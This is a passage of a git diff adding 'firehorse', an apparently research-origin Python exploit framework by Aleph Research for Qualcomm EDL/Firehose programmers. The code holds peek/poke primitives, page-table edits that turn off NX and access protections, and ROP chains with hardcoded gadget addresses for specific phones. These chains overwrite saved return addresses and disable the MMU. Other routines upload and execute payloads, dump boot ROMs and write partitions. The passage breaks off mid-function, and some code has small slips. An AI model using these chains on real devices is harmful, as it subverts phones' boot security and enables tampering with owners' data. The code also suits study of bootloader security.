f.write(xmldata) + f.close() + target_out = [] + return Framework.firehosep("../tmp/temp.xml") + + + @staticmethod + def exe(va): + Framework.poke(target.get().exe_addr, 4, va) + + + @staticmethod + def exe_cmd(base, cmd): + D('Executing %08x', base+0x20+cmd*4) + Framework.poke(target.get().exe_addr, 4, base+0x20+cmd*4) + + + @staticmethod + def exe64(va): + D("Executing %08x", va) + Framework.poke64(target.get().exe_addr, va) + + + @staticmethod + def exe64_cmd(base, cmd): + D('Executing %016lx', base+0x30+cmd*8) + Framework.poke64(target.get().exe_addr, base+0x30+cmd*8) + + + @staticmethod + def send_programmer(): + t = target.get() + out = subprocess.Popen([SAHARA_SERVER, "-p", r"\\.\%s" % t.com, + "-s", "13:%s" % t.programmer_name, + "-b", "%s\\" % t.programmer_search_path], + stdin=subprocess.PIPE, stdout=subprocess.PIPE).communicate("\n") + if not "transferred successfully" in out[0]: + if "Could not connect" in out[0]: + raise FirehorseDeviceNotConnectedException() + + raise FirehorseSendProgrammerException() + + + @staticmethod + def firehosep(path): + target_out = [] + search = "/".join(path.split("/")[:-1]) + filename = path.split("/")[-1] + p = subprocess.Popen([FH_LOADER, r"--search_path=" + search, + r"--port=\\.\%s" % target.get().com, + "--sendxml=%s" % filename], + stdout=subprocess.PIPE, stdin=subprocess.PIPE) + out = p.communicate("\n") + + if "There is a chance your target is in SAHARA mode!!" in out[0]: + p.kill() + raise FirehorseSendProgrammerException() + + for l in out[0].split("\r\n"): + T("FIREHOSE: %s", l) + if None == l: + continue + if "ERROR: Failed to open com port" in l: + raise FirehorseDeviceNotConnectedException() + m = re.search(r".*TARGET SAID:\s*'(.*)'.*", l) + if m: + target_out.append(m.group(1)) + return target_out + + + @staticmethod + def upload(va, path): + Framework.poke_blob(va, file(path, "rb").read()) + + + @staticmethod + def upload64(va, path): + Framework.poke_blob64(va, file(path, "rb").read()) + + + @staticmethod + def pt_get_fl(base, va): + return Framework.peek32(base+(va>>18)) + + + @staticmethod + def pt_get_sl(base, va): + fl = pt.get_fld(pt_get_fl(base, va & 0xFFF00000)) + sl_va = fl.coarse_base + ((va & 0xFF000)>>10) + return (sl_va, Framework.peek32(sl_va)) + + + @staticmethod + def pt_set_fl(base, va, x): + Framework.poke32(base+(va>>18), x) + + + @staticmethod + def pt_set_fl_attr(base, va, attr): + pt_set_fl(base, va, ((pt_get_fl(base, va) >> 10) << 10) | attr) + + + @staticmethod + def pt_set_fl_section_nx_off(base, va): + pt_set_fl(base, va, pt_get_fl(base, va) & ~16) + + + @staticmethod + def pt_set_sl_xsmallpage_nx_off(base, va): + addr, sl = pt_get_sl(base, va) + newsl = sl & 0xFFFFFFFE + Framework.poke32(addr, newsl) + + + @staticmethod + def pt_set_sl_xsmallpage_apx_off(base, va): + addr, sl = pt_get_sl(base, va) + newsl = sl & 0xFFFFFDFF + newsl = newsl | 0x140 + newsl = newsl & 0xFFFFFFF7 + Framework.poke32(addr, newsl) + + + @staticmethod + def pt_set_sl_xsmallpage_attributes(base, va, attributes): + addr, sl = pt_get_sl(base, va) + newsl = sl & 0xFFFFF000 + newsl = newsl | attributes + Framework.poke32(addr, newsl) + + + @staticmethod + def pt_set_sl_xsmallpage_remap(base, va, new_va): + addr, sl = pt_get_sl(base, va) + newaddr, newsl = pt_get_sl(base, new_va) + Framework.poke32(addr, newsl) + + + @staticmethod + def pt_set_fl_section_remap(base, va, new_va): + fl = pt_get_fl(base, new_va) + pt_set_fl(base, va, fl) + + + @staticmethod + def pt64_walk(ttbr, tnsz, levels=3): + I("Dumping page tables (levels=%d)", levels) + I("First level (ptbase = %016x)", ttbr) + I("---------------------------------------------") + fl = Framework.peek(ttbr, 0x1000) + + if levels <= 1: + return + + for (va, fle) in pt64.parse_pt(fl, 0, tnsz, 1): + if "TABLE" in str(fle): + I("Second level (ptbase = %016x)" % fle.output) + I("---------------------------------------------") + + sl = Framework.peek(fle.output, 0x4000) + sl = pt64.parse_pt(sl, va, tnsz, 2) + + if levels <= 2: + continue + + for (va, sle) in sl: + if "TABLE" in str(sle): + I("Third level (ptbase = %016x)" % sle.output) + I("---------------------------------------------") + tl = Framework.peek(sle.output, 0x1000) + pt64.parse_pt(tl, va, tnsz, 3) + + + @staticmethod + def pt32_walk(ttbr, skip): + I("First level (va = %08x)", ttbr) + I("---------------------------------------------") + fl = Framework.peek(ttbr, 0x4000) + + i = 0 + for (va, fl) in pt.parse_pt(fl): + i += 1 + if i <= skip: + continue + if type(fl) == pt.pt_desc: + I("") + I("Second level (va = %08x)", va) + I("---------------------------------------------") + sldata = Framework.peek(fl.coarse_base, 0x400) + pt.parse_spt(sldata, va) + + + @staticmethod + def hexdump(src, length=16, base=0): + format = "%08x %-*s %s\n" + if target.get().arch == 64: + format = "%016lx %-*s %s\n" + + FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)]) + lines = [] + for c in xrange(0, len(src), length): + chars = src[c:c+length] + hex = ' '.join(["%02x" % ord(x) for x in chars]) + printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars]) + lines.append(format % (c+base, length*3, hex, printable)) + return ''.join(lines) + + +def do_cmd(args): + argv1, argv0, argv1, argv2, argv3 = (None, None, None, None, None) + + if len(args) > 0: + argv0 = args[0] + + if len(args) > 1: + argv1 = args[1] + + if len(args) > 2: + argv2 = args[2] + + if len(args) > 3: + argv3 = args[3] + + if argv0 == "hello": + Framework.send_programmer() + return + + if argv0 == "firehosep": + Framework.firehosep(argv1) + return + + if argv0 == "upload": + Framework.upload(int(argv2, 16), argv1) + return + + if argv0 == "upload64": + Framework.upload64(int(argv2, 16), argv1) + return + + if argv0 == "exec": + Framework.exe(int(argv1, 16)) + return + + if argv0 == "run": + I('uploading...') + Framework.upload(int(argv2, 16), argv1) + I('executing...') + Framework.exe(int(argv2, 16)) + return + + if argv0 == "runt": + I('uploading...') + Framework.upload(int(argv2, 16), argv1) + I('executing...') + Framework.exe(int(argv2, 16)+1) + return + + if argv0 == "peek": + addr = int(argv1, 16) + size = int(argv2, 16) + data = Framework.peek(addr, size) + if len(args) > 3: + f = file(argv3, "wb") + f.write(data) + f.close() + I("Wrote %s", argv3) + return + + I(Framework.hexdump(data, base=addr)) + return + + if argv0 == "exec64": + Framework.exe64(int(argv1, 16)) + I("ok") + return + + if argv0 == "copy": + Framework.copy(int(argv1, 16), int(argv2, 16), int(argv3, 16)) + return + + if argv0 == "poke": + Framework.poke(int(argv1, 16), 4, int(argv2, 16)) + return + + if argv0 == "sendfile": + Framework.sendfile(argv1, int(argv2, 16)) + + +if __name__ == "__main__": + main() diff --git a/firehorse/log.py b/firehorse/log.py new file mode 100644 index 0000000..84bb2f2 --- /dev/null +++ b/firehorse/log.py @@ -0,0 +1,64 @@ +# +# firehrose +# By Roee Hay & Noam Hadad, Aleph Research +# + +import sys +import logging +from . import constants +level = logging.INFO +TRACE = 9 + +l = logging.getLogger("firehorse") + + +con = logging.StreamHandler(sys.stderr) +con.setFormatter(logging.Formatter('%(levelname)1s: %(message)s')) +con.setLevel(level) + +logfile = logging.FileHandler(constants.LOG_FILE_PATH) +logfile.setFormatter(logging.Formatter('%(asctime)-15s %(levelname)5s: %(message)s')) +logfile.setLevel(logging.DEBUG) + +l.addHandler(con) +l.addHandler(logfile) +l.setLevel(level) + + +logging.addLevelName(TRACE, "TRACE") + + +def adjustLevels(): + for log in logging.Logger.manager.loggerDict: + l.setLevel(logging.CRITICAL) + + for h in logging.root.handlers: + logging.root.removeHandler(h) + + l.setLevel(TRACE) + + +def setVerbose(more = False): + global level + level = more and TRACE or logging.DEBUG + logfile.setLevel(level) + con.setLevel(level) + +def I(msg, *kargs, **kwargs): + l.info(msg, *kargs, **kwargs) + + +def D(msg, *kargs, **kwargs): + l.debug(msg, *kargs, **kwargs) + + +def T(msg, *kargs, **kwargs): + l.log(TRACE, msg, *kargs, **kwargs) + + +def W(msg, *kargs, **kwargs): + l.warn(msg, *kargs, **kwargs) + + +def E(msg, *kargs, **kwargs): + l.error(msg, *kargs, **kwargs) diff --git a/firehorse/peek0.xml b/firehorse/peek0.xml new file mode 100644 index 0000000..879915e --- /dev/null +++ b/firehorse/peek0.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/firehorse/peek1.xml b/firehorse/peek1.xml new file mode 100644 index 0000000..d66ab8c --- /dev/null +++ b/firehorse/peek1.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/firehorse/poke0.xml b/firehorse/poke0.xml new file mode 100644 index 0000000..96c0728 --- /dev/null +++ b/firehorse/poke0.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/firehorse/poke1.xml b/firehorse/poke1.xml new file mode 100644 index 0000000..f717ab2 --- /dev/null +++ b/firehorse/poke1.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/firehorse/pt.py b/firehorse/pt.py new file mode 100644 index 0000000..1ea6784 --- /dev/null +++ b/firehorse/pt.py @@ -0,0 +1,176 @@ +# +# firehrose +# By Roee Hay & Noam Hadad, Aleph Research +# + +import sys +import struct +import re +from .log import * + + +def get_n(x): + return int(x[6:8]+x[4:6]+x[2:4]+x[0:2], 16) + + +def parse_pt(data): + va = 0 + entries = [] + while va < len(data): + entry = struct.unpack(" 1: + return sld_xsp(sld) + + return "UNSUPPORTED" + + +class descriptor(object): + def __init__(self, fld): + pass + + def __repr__(self): + s = "%8s " % self.get_name() + for attr, value in self.__dict__.iteritems(): + try: + s += "%s=%s, " % (attr, hex(value)) + except: + s += "%s=%s, " % (attr, value) + + return s + + +class fld(descriptor): + pass + + +class fault_desc(fld): + + def get_name(self): + return "FAULT" + + +class reserved_desc(fld): + + def get_name(self): + return "RESERVED" + + +class pt_desc(fld): + + def __init__(self, desc): + self.coarse_base = (desc >> 10) << 10 + self.p = (desc >> 9) & 1 + self.domain = (desc >> 5) & 15 + self.sbz1 = (desc >> 4) & 1 + self.ns = (desc >> 3) & 1 + self.sbz2 = (desc >> 2) & 1 + + + def get_name(self): + return "PT" + + +class section_desc(fld): + def __init__(self, desc): + self.section_base = (desc >> 20) << 20 + self.ns = (desc >> 19) & 1 + self.zero = ns = (desc >> 18) & 1 + self.ng = (desc >> 17) & 1 + self.s = (desc >> 16) & 1 + self.apx = (desc >> 15) & 1 + self.tex = (desc >> 12) & 7 + self.ap = (desc >> 10) & 3 + self.p = (desc >> 9) & 1 + self.domain = (desc >> 5) & 15 + self.nx = (desc >> 4) & 1 + self.c = (desc >> 3) & 1 + self.b = (desc >> 2) & 1 + + + def get_name(self): + return "SECTION" + + +class sld(descriptor): + pass + + +class sld_lp(sld): + + def __init__(self, desc): + self.page_base = (desc >> 16) << 16 + self.nx = (desc >> 15) & 1 + self.tex = (desc >> 12) & 7 + self.ng = (desc >> 11) & 1 + self.s = (desc >> 10) & 1 + self.apx = (desc >> 9) & 1 + self.sbz = (desc >> 6) & 7 + self.ap = (desc >> 4) & 3 + self.c = (desc >> 3) & 1 + self.b = (desc >> 2) & 1 + + + def get_name(self): + return "LARGEPAGE" + + +class sld_xsp(sld): + + def __init__(self, desc): + self.desc = desc + self.page_base = (desc >> 12) << 12 + self.ng = (desc >> 11) & 1 + self.s = (desc >> 10) & 1 + self.apx = (desc >> 9) & 1 + self.tex = (desc >> 6) & 7 + self.ap = (desc >> 4) & 3 + self.c = (desc >> 3) & 1 + self.b = (desc >> 2) & 1 + self.nx = desc & 1 + + + def get_name(self): + return "XSMALLPAGE" diff --git a/firehorse/pt64.py b/firehorse/pt64.py new file mode 100644 index 0000000..18c65f8 --- /dev/null +++ b/firehorse/pt64.py @@ -0,0 +1,154 @@ +# +# firehrose +# By Roee Hay & Noam Hadad, Aleph Research +# + +import sys +import struct +import re + +from .log import * + +""" +only supports 4KB granule w/ 25<=TnSZ<=33 +https://armv8-ref.codingbelief.com/en/chapter_d4/d42_7_the_algorithm_for_finding_the_translation_table_entries.html + +""" + +def get_level_index(va, level): + + if level == 1: + return (va >> 30) & 0x3F + + if level == 2: + return (va >> 21) & 0x1FF + + if level == 3: + return (va >> 12) & 0x1FF + + raise NotImplementedError() + + +def get_level_bits(level, tnsz): + if level == 1: + return 37-tnsz+26+1-30 + + if level == 2: + return 9 + + if level == 3: + return 9 + + raise NotImplementedError() + + +def get_level_size(tnsz, level): + return 2**get_level_bits(level, tnsz)*8 + + +def get_va_for_level(va, index, level): + if level == 1: + return va + (index<<30) + + if level == 2: + return va + (index<<21) + + if level == 3: + return va + (index<<12) + + +def parse_pt(data, base, tnsz, level=1): + i = 0 + entries = [] + while i < min(len(data), get_level_size(tnsz, level)): + entry = struct.unpack("> 63 + self.ap = (desc >> 61) & 3 + self.xn = (desc >> 60) & 1 + self.pxn = (desc >> 59) & 1 + self.attrindex = (desc>>2) & 7 + self.ns = (desc>>5) & 1 + self.ap = (desc>>6) & 3 + self.sh = (desc>>8) & 3 + self.af = (desc>>10) & 1 + self.nG = (desc>>11) & 1 + + +class entry4k(entry): + def __init__(self, desc, level): + entry.__init__(self, desc, level) + self.output = ((desc & 0xFFFFFFFFFFFF) >> 12) << 12 + + +class fault_entry(fld): + + def get_name(self): + return "FAULT" + + +class block_entry4k(entry4k): + + def __init__(self, desc, level): + entry4k.__init__(self, desc, level) + # shift = 39-9*level + # self.output = ((desc & 0xFFFFFFFFFFFFL) >> shift) << shift + + def get_name(self): + return "BLOCK4" + + +class table_entry4k(entry4k): + + def __init__(self, desc, level): + entry4k.__init__(self, desc, level) + + + def get_name(self): + return "TABLE4" diff --git a/firehorse/target.py b/firehorse/target.py new file mode 100644 index 0000000..954a562 --- /dev/null +++ b/firehorse/target.py @@ -0,0 +1,190 @@ +# +# firehrose +# By Roee Hay & Noam Hadad, Aleph Research +# + +from .log import * +import argparse +from . import fw + +class Target: + + def __init__(self, name, arch, programmer_path, peekpoke_style, saved_lr=0, saved_lr_addr=0, + pbl_base_addr=0, pbl_copy_addr=0, page_table_base=0, fh_base_programmer=0, + fh_base_aboot=0, fh_scratch_offset=0, fh_saved_regs_offset=0, + egghunter_found_parts=0, egghunter_base=0, egg_xml=None, + basicblocks_db_pbl=None, magic=None, rop=None, uart=0, exe_addr=0, + ttbr0_el1=0, pt_levels=1, xmlhunter_part_size=0, rawprogram_xml=None, + ufs=False, modem_pbl_base_addr=0, rpm_pbl_base_addr=0, tnsz=0): + + self.name = name + self.arch = arch + self.programmer_name = programmer_path.split("\\")[-1] + self.programmer_search_path = "\\".join(programmer_path.split("\\")[:-1]) + self.peekpoke_style = peekpoke_style + self.saved_lr = saved_lr + self.saved_lr_addr = saved_lr_addr + self.pbl_base_addr = pbl_base_addr + self.pbl_copy_addr = pbl_copy_addr + self.fh_base_programmer = fh_base_programmer + self.fh_base_aboot = fh_base_aboot + self.fh_scratch_offset = fh_scratch_offset + self.fh_saved_regs_offset = fh_saved_regs_offset + self.basicblocks_db_pbl = basicblocks_db_pbl + self.page_table_base = page_table_base + self.tnsz = tnsz + self.egghunter_found_parts = egghunter_found_parts + self.egghunter_base = egghunter_base + self.egg_xml = egg_xml + self.magic = magic + self.rop = rop + self.uart = uart + self.rawprogram_xml = rawprogram_xml + self.ufs = ufs + self.pt_levels = pt_levels + self.com = None + self.xmlhunter_part_size = xmlhunter_part_size + + self.modem_pbl_base_addr = modem_pbl_base_addr + self.rpm_pbl_base_addr = rpm_pbl_base_addr + + self.exe_addr = exe_addr + if 0 == exe_addr: + self.exe_addr = saved_lr_addr + + if peekpoke_style == 0: + self.peek_xml = 'peek0.xml' + self.poke_xml = 'poke0.xml' + self.xmlhunter_xml = 'xmlhunter0.xml' + elif peekpoke_style == 1: + self.peek_xml = 'peek1.xml' + self.poke_xml = 'poke1.xml' + self.xmlhunter_xml = 'xmlhunter1.xml' + + + def do_cmd(self, args): + if args[0] == 'magic': + if self.magic is None: + raise NotImplementedError() + self.magic() + + if args[0] == 'rop': + if self.rop is None: + raise NotImplementedError() + self.rop() + + if args[0] == "uart": + self.read_uart() + + if args[0] == "dump_pt": + self.dump_pt(self.arch) + + if args[0] == "dump_pt32": + if len(args) > 1: + skip = int(args[1]) + self.dump_pt(32, skip) + + if args[0] == "dump_pt64": + self.dump_pt(64) + + if args[0] == "extract_pbl": + self.extract_pbl() + + if args[0] == "extract_modem_pbl": + self.extract_modem_pbl() + + if args[0] == "extract_rpm_pbl": + self.extract_rpm_pbl() + + if args[0] == "read_partition": + if self.rawprogram_xml is None: + raise NotImplementedError() + fw.Framework.read_partition(args[1]) + + if args[0] == "write_partition": + if self.rawprogram_xml is None: + raise NotImplementedError() + fw.Framework.write_partition(args[1], args[2]) + + + def extract_pbl(self): + if 0 == self.pbl_base_addr: + raise NotImplementedError() + + f = file("%s-pbl-%x.bin" % (self.name, self.pbl_base_addr), "wb") + f.write(fw.Framework.peek(self.pbl_base_addr, 0x18000)) + f.close() + + + def extract_modem_pbl(self): + if 0 == self.modem_pbl_base_addr: + raise NotImplementedError() + + f = file("%s-modempbl-%x.bin" % (self.name, self.modem_pbl_base_addr), "wb") + f.write(fw.Framework.peek(self.modem_pbl_base_addr, 0xc000)) + f.close() + + + def extract_rpm_pbl(self): + if 0 == self.rpm_pbl_base_addr: + raise NotImplementedError() + + f = file("%s-rpmpbl-%x.bin" % (self.name, self.rpm_pbl_base_addr), "wb") + f.write(fw.Framework.peek(self.rpm_pbl_base_addr, 0x4000)) + f.close() + + + def read_uart(self): + if 0 == self.uart: + raise NotImplementedError() + + I("Reading UART from %016lx", self.uart) + for d in fw.Framework.gen_string(self.uart): + sys.stdout.write(d) + + + def dump_pt(self, arch, skip=0): + if 0 == self.page_table_base: + raise NotImplementedError() + + if arch == 32: + fw.Framework.pt32_walk(self.page_table_base, skip) + else: + fw.Framework.pt64_walk(self.page_table_base, self.tnsz, self.pt_levels) + + + def addr_callback(self, n, base=None): + if base is None: + base = self.fh_base_programmer + + if self.arch == 32: + return base+0x20+n*4 + + return base+0x30+n*8 + + +current_target = None +all_targets = {} + +def add_target(**kwargs): + t = Target(**kwargs) + all_targets[t.name] = t + + +def set_target(name, com): + global current_target + current_target = all_targets[name] + current_target.com = com + + +def get(): + return current_target + + +from . import target_mido +from . import target_angler +from . import target_nokia6 +from . import target_ugglite +from . import target_cheeseburger +from . import target_oneplusx +from . import target_oneplus3t diff --git a/firehorse/target_angler.py b/firehorse/target_angler.py new file mode 100644 index 0000000..fa0104c --- /dev/null +++ b/firehorse/target_angler.py @@ -0,0 +1,165 @@ +# +# firehrose +# By Roee Hay & Noam Hadad, Aleph Research +# + +import argparse +import time +import re +import sys +import binascii +import subprocess +import os +import struct +from . import pt +from . import target +from . import constants +from .log import * +from .cmd import * +from .fw import Framework as FH_FW +from .fw import * +from .fh import * +from . import target as t + + + +def rop(): + target = t.get() + + # copy original stack + FH_FW.copy(0xFEC040a0, 0xFEC03F90, 0x256) + FH_FW.copy(0xFEC04098, 0xFEC03F88, 8) + + # gadget_set_sctlr_el3 + FH_FW.poke64(0xFEC04060, 0xF803DF38) + + # saved x1 = 0 + FH_FW.poke64(0xFEC04f88, 0) + + # gadget_blr_x4 + FH_FW.poke64(0xFEC03f90, 0xf800e280) + + # super gadget F803E848 + FH_FW.poke64(target.saved_lr_addr, 0xF803E848) + + +def boom(): + target = t.get() + FH_FW.peek(target.fh_base_programmer, 0x1100) + I('1') + FH_FW.peek(target.fh_base_programmer, 0x1100) + I('2') + FH_FW.peek(target.fh_base_programmer, 0x1100) + I('3') + FH_FW.peek(target.fh_base_programmer, 0x1100) + I('4') + #FH_FW.sendfile("../device/build/test64.payload", 0xf8048c00) + I('5') + #FH_FW.poke64(0xfec04098,0xf8048c00) + I('boom') + return + + +def upload_init64(): + target = t.get() + FH_FW.sendfile("../device/build/init64.payload", target.fh_base_programmer) + FH_FW.exe64(target.fh_base_programmer) + + +def voodoo(): + target = t.get() + for i in range(8): + print('%d' % i) + FH_FW.peek(target.fh_base_programmer, 0x4000) + + +def upload_fh(): + target = t.get() + FH_FW.sendfile("../device/build/fh64.payload", target.fh_base_programmer) + # e = XMLHunter(file("../device/build/fh64.payload","rb").read(), + # target.fh_base_programmer, target) + # e.send() + return + + +def upload_fh_data(): + target = t.get() + + bbdb = BasicBlocks(target.basicblocks_db_pbl) + bpm = BreakpointManager(bbdb) + #bpm.bp_programmer(0xF801DAFC, msg="peek0") + #bpm.bp_programmer(0xF801DA08, msg="poke") + + pm = PatchManager() + # pm.patch32_programmer(0x1402C958, 0xFFFFFFFF) + + I('applying patches and breakpoints...') + + I('creating pagecopy...') + pages = set() + + I('pages: ' + str(pages)) + + pc = PageCopy(MODE_PBL, target.pbl_base_addr, target.pbl_copy_addr, pages, + target_pages= + [0x807D000, 0x807E000, 0x807F000, 0x807C000, 0x8068000, 0x806e000, 0x807B000]) + + I('uploading firehorse data...') + fh = Firehorse(pm, bpm, pc) + fhdata = fh.pack() + fhbin = file("../tmp/fh.bin", "wb") + fhbin.write(fhdata) + fhbin.close() + + FH_FW.sendfile("../tmp/fh.bin", target.fh_base_programmer+target.fh_scratch_offset) + + #e = XMLHunter(fhdata, target.fh_base_programmer+target.fh_scratch_offset, target) + #e.send() + + +def init_firehose(): + target = t.get() + cmd = Commands() + + I('initializing firehorse...') + FH_FW.exe64_cmd(target.fh_base_programmer, cmd.INIT) + + +def hook_handlers(): + target = t.get() + + I("Hooking handlers") + for i in xrange(16): + I("%d" % i) + FH_FW.sendfile("../device/build/dbgentry64.payload", 0xf803f000+i*0x80) + + +def magic(): + rop() + voodoo() + upload_fh_data() + upload_fh() + voodoo() + init_firehose() + #hook_handlers() + + +t.add_target(name="angler", arch=64, + programmer_path=r"target/angler/prog_emmc_firehose.mbn", + peekpoke_style=1, + saved_lr=0xF801d214, + saved_lr_addr=0xFEC03f88, + exe_addr=0xFEC03f88+0x110, + pbl_base_addr=0xFC010000, + page_table_base=0xfe800000, + rpm_pbl_base_addr=0xFC000000, + modem_pbl_base_addr=0xFC004000, + fh_base_programmer=0xfe824000, + fh_scratch_offset=0xc000, + basicblocks_db_pbl="target/angler/pbl-angler-bbdb.txt", + rawprogram_xml="target/angler/rawprogram0.xml", + magic=magic, + rop=rop, + uart=0xfe813b70, + pt_levels=3, + tnsz=32) diff --git a/firehorse/target_cheeseburger.py b/firehorse/target_cheeseburger.py new file mode 100644 index 0000000..1438e71 --- /dev/null +++ b/firehorse/target_cheeseburger.py @@ -0,0 +1,228 @@ +# +# firehrose +# By Roee Hay & Noam Hadad, Aleph Research +# + +import argparse +import time +import re +import sys +import binascii +import subprocess +import os +import struct +from . import pt +from . import target +from . import constants +from .log import * +from .cmd import * +from .fw import Framework as FH_FW +from .fw import * +from .fh import * +from . import target as t + +GADGET_INFINITE_LOOP = 0x14022638 +#GADGET_SUPER = 0x14016284 +#GADGET_SUPER = 0x14016328 +#GADGET_SUPER = 0x146A6FBC +GADGET_SUPER = 0x14016D20 +GADGET_ADD_SP = 0x1402FC20 +GADGET_BLR_X6 = 0x146A701C +GADGET_BLR_X8 = 0x1405F048 +GADGET_RET = 0x1405F058 +GADGET_RESET = 0x140309C0 +GADGET_SCTLR_EL3 = 0x14016138 +GADGET_SCTLR_EL1 = 0x14016130 + +""" +SAVED_LR GADGET_ADD_SP +SAVED_LR+F0 saved x30 <- SUPER_GADGET +SAVED_LR+F8 saved x30 < - blr x8 gadget +SAVED_LR+100 saved x0 +SAVED+LR+108 saved x28 +SAVED+LR+110 saved x29 <- SAVED_LR+208 +SAVED_LR+118 saved x26 +SAVED_LR+120 saved x27 +SAVED_LR+128 saved x24 +SAVED_LR+130 saved x25 <- 0x1000 +SAVED_LR+138 saved x22 +SAVED_LR+140 saved x23 +SAVED_LR+148 saved x20 +SAVED_LR+150 saved x21 +SAVED_LR+158 saved x18 +SAVED_LR+160 saved x19 <- SAVED_LR+218+28 +SAVED_LR+168 saved x16 +SAVED_LR+170 saved x17 +SAVED_LR+178 saved x14 +SAVED_LR+180 saved x15 +SAVED_LR+188 saved x12 +SAVED_LR+190 saved x13 +SAVED_LR+198 saved x10 +SAVED_LR+1A0 saved x11 +SAVED_LR+1A8 saved x8 <- GADGET_SET_MMU +SAVED_LR+1B0 saved x9 +SAVED_LR+1B8 saved x6 +SAVED_LR+1C0 saved x7 +SAVED_LR+1C8 saved x4 +SAVED_LR+1D0 saved x5 +SAVED_LR+1D8 saved x2 +SAVED_LR+1E0 saved x3 +SAVED_LR+1E8 saved x0 +SAVED_LR+1F0 saved x1 <- value for mmu disable +---- restored stack (SAVED_LR+1F8) +SAVED_LR+1F8 saved x20 +SAVED_LR+200 saved x19 -< SAVED_LR+218+28 +SAVED_LR+208 saved x29 +SAVED_LR+210 saved x30 <- original_saved_lr +---- copied stack (SAVED_LR+218) +final SP + + +""" +def rop(): + target = t.get() + + # super gadget +# FH_FW.poke64(target.saved_lr_addr+8, GADGET_INFINITE_LOOP) + + """ + # copy original stack + FH_FW.copy(target.saved_lr_addr+0x128, target.saved_lr_addr+8, 0x128) + + # copy original saved lr + FH_FW.poke64(target.saved_lr_addr+0x120, target.saved_lr) + + # set new stack + FH_FW.poke64(target.saved_lr_addr+0x20, target.saved_lr_addr+0x118) + + # set blr x8 gadget + FH_FW.poke64(target.saved_lr_addr+0x8, GADGET_RESET) + + # set saved_x8 + FH_FW.poke64(target.saved_lr_addr+0xb8, GADGET_RESET) + # set super gadget + FH_FW.poke64(target.saved_lr_addr, GADGET_SUPER) + """ + # FH_FW.poke64(target.saved_lr_addr+0xC0, 0) + # FH_FW.poke64(target.saved_lr_addr+0x30, GADGET_RESET) + # FH_FW.poke64(target.saved_lr_addr+0x28, GADGET_RESET) + # FH_FW.poke64(target.saved_lr_addr+0x20, GADGET_RESET) + # FH_FW.poke64(target.saved_lr_addr+0x18, GADGET_RESET) + # FH_FW.poke64(target.saved_lr_addr+0x10, GADGET_RESET) + # FH_FW.poke64(target.saved_lr_addr+0x8, GADGET_RESET) + + FH_FW.poke64(target.saved_lr_addr+0x1f0, 0x0) # x1 + FH_FW.poke64(target.saved_lr_addr+0x108, 0x98) # x28 + FH_FW.poke64(target.saved_lr_addr+0x128, 0x1) # x24 + FH_FW.poke64(target.saved_lr_addr+0x130, 0x1000) # X25 + FH_FW.poke64(target.saved_lr_addr+0x160, target.saved_lr_addr+0x218+0x28) + FH_FW.poke64(target.saved_lr_addr+0x200, target.saved_lr_addr+0x218+0x28) + + FH_FW.copy_and_rebase(target.saved_lr_addr+0x218, target.saved_lr_addr+8, 0x210) + FH_FW.poke64(target.saved_lr_addr+0x210, target.saved_lr) + FH_FW.poke64(target.saved_lr_addr+0x110, target.saved_lr_addr+0x208) + FH_FW.poke64(target.saved_lr_addr+0x1a8, GADGET_SCTLR_EL1) + FH_FW.poke64(target.saved_lr_addr+0xf8, GADGET_BLR_X8) + FH_FW.poke64(target.saved_lr_addr+0xf0, GADGET_SUPER) + FH_FW.poke64(target.saved_lr_addr, GADGET_ADD_SP) + + +def voodoo(): + target = t.get() + for i in range(4): + print('%d' % i) + FH_FW.peek(target.fh_base_programmer, 0x1100) + + +def upload_init64(): + target = t.get() + FH_FW.poke64(target.fh_base_programmer, 0x12345678) + FH_FW.sendfile("../device/build/init64.payload", target.fh_base_programmer) + FH_FW.exe64(target.fh_base_programmer) + + +def upload_fh(): + target = t.get() + e = XMLHunter(file("../device/build/fh64.payload", "rb").read(), + target.fh_base_programmer, target) + e.send() + return + + +def upload_fh_data(): + target = t.get() + + bbdb = BasicBlocks(target.basicblocks_db_pbl) + bpm = BreakpointManager(bbdb) + bpm.bp_programmer(0x1402C958, msg="peek0") + bpm.bp_programmer(0x1402C964, msg="peek1") + + pm = PatchManager() + # I('applying patches and breakpoints...') + # pm.patch32_programmer(0x1402C958, 0xFFFFFFFF) + + + I('creating pagecopy...') + pages = set() + + I('pages: ' + str(pages)) + pc = PageCopy(MODE_PBL, target.pbl_base_addr, target.pbl_copy_addr, pages, + target_pages=[0x807D000, 0x807E000, 0x807F000, 0x807C000, + 0x8068000, 0x806e000, 0x807B000]) + + I('uploading firehorse data...') + fh = Firehorse(pm, bpm, pc) + fhdata = fh.pack() + fhbin = file("../tmp/fh.bin", "wb") + fhbin.write(fhdata) + fhbin.close() + + e = XMLHunter(fhdata, target.fh_base_programmer+target.fh_scratch_offset, target) + e.send() + + +def init_firehose(): + target = t.get() + cmd = Commands() + + I('initializing firehorse...') + FH_FW.exe64_cmd(target.fh_base_programmer, cmd.INIT) + + +def hook_handlers(): + target = t.get() + + I("Hooking handlers") + for i in xrange(16): + I("%d" % i) + FH_FW.sendfile("../device/build/dbgentry64.payload", 0x14015000+i*0x80) + + +def magic(): + rop() + voodoo() + upload_fh_data() + upload_fh() + init_firehose() + hook_handlers() + + +t.add_target(name="cheeseburger", arch=64, + programmer_path=r"target/oneplus5/programmer.bin", + peekpoke_style=1, + saved_lr=0x1402be48, + saved_lr_addr=0x1406ae78, + exe_addr=0x1406ae78+0x210, + page_table_base=0x1400f000, + tnsz=28, + fh_base_programmer=0x14690000, + fh_base_aboot=0x8f900000, + fh_scratch_offset=0x20000, + fh_saved_regs_offset=0, + egghunter_base=0x1407c000, + uart=0x14074040, + ttbr0_el1=0x1400f000, + pt_levels=3, + rop=rop, + magic=magic, + xmlhunter_part_size=80) diff --git a/firehorse/target_mido.py b/firehorse/target_mido.py new file mode 100644 index 0000000..10e8651 --- /dev/null +++ b/firehorse/target_mido.py @@ -0,0 +1,107 @@ +# +# firehrose +# By Roee Hay & Noam Hadad, Aleph Research +# + +import argparse +import time +import re +import sys +import binascii +import subprocess +import os +import struct +from . import pt +from . import target +from . import constants +from .log import * +from .cmd import * +from .fw import Framework as FH_FW +from .fw import * +from .fh import * +from . import target as t + + +def apply_breakpoints(m): + 